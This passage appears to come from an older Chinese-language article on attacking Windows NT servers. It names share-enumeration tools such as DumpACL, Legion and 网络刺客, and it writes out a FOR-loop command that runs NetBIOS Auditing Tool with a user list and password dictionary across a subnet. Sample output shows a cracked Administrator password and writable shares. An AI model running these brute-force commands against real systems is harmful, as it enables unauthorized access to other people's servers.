用DumpACL连接了一台计算机，我们可以看到这台服务器有哪些可以共享的资源，当然黑客也可以看到了。像这样的工具还有比较著名的Legion，它可以图形界面查询整个C类网的所有计算机的共享资源，而且最新的版本中还包括了一个可以由入侵者来设定密码的猜解共享资源密码的小东西。
另外我们国内也有非常出色的共享探测工具，用户名和一些计算机名称，包括域的信息我们都可以用追捕来简单探测出来，而共享资源天行的网络刺客应该是我们的首选，特别指出的是网络刺客的功能非常的强大，有些国内的黑客就是单纯地利用它就攻破了许多的NT或者是UINX的服务器，而且国内著名的黑客探测软件开发者小榕在和我聊天时也对网络刺客赞不绝口，可以想象它的功能有多么的强大。
就在我们的网管睡觉的时候，黑客们便开始了他们的工作，他们在破解你的密码的时候一般会选择诸如NetBIOS Auditing Tool（俗称NAT）和Legion这样的工具。然后他们只需要用乱刀等工具生成或者是在互联网上下载一个猜解密码用的字典就可以了。当黑客具备一切条件后，他们只需要用NAT连接到一个目标，NAT就会根据用户名清单和密码字典进行自动破解，一个简单的FOR命令足以攻破一个脆弱的密码，具体操作如下：
D:FOR /L %i IN(1,1,254)Do nat -u userlist.txt -p passlist.txt [输入服务器IP地址，例如：202.11.22.33] %I >> nat_output.txt
---Checking host: 202.11.22.33
---Obtaining list of remote NetBIOS names
---Attempting to connect with Username : ‘ADMINISTRATOR’ Password: ’ADMINISTRATOR’
---Attempting to connect with Username : ‘ADMINISTRATOR’ Password: ‘GUEST’
…
---CONNECTED:USERNAME:’ADMINISTRATOR’ Password: ’PASSWORD’
---Attempting to access share :\*SMBSERVERTEMP
---WARNING:Able to access share:\* SMBSERVERTEMP
---Checking write access in:\* SMBSERVERTEMP
---WARNING:Directory is writeable:\* SMBSERVERTEMP
---Attempting to exercises..bug on:\ *SMBSERVERTEMP
…
OK，这样一个密码我们就搞到手了。当然像这样的好工具我们还有许多。均可以实现暴力破解。对于一些职业的黑客或者是一些骨灰级的黑客，他们通常会选用一些商业性的破解工具，这些工具运行速度非常快，且可以分许多线程进行破解和并行grinding session，由于这种工具是需要付费的，所以一般黑客不容易得到。
|
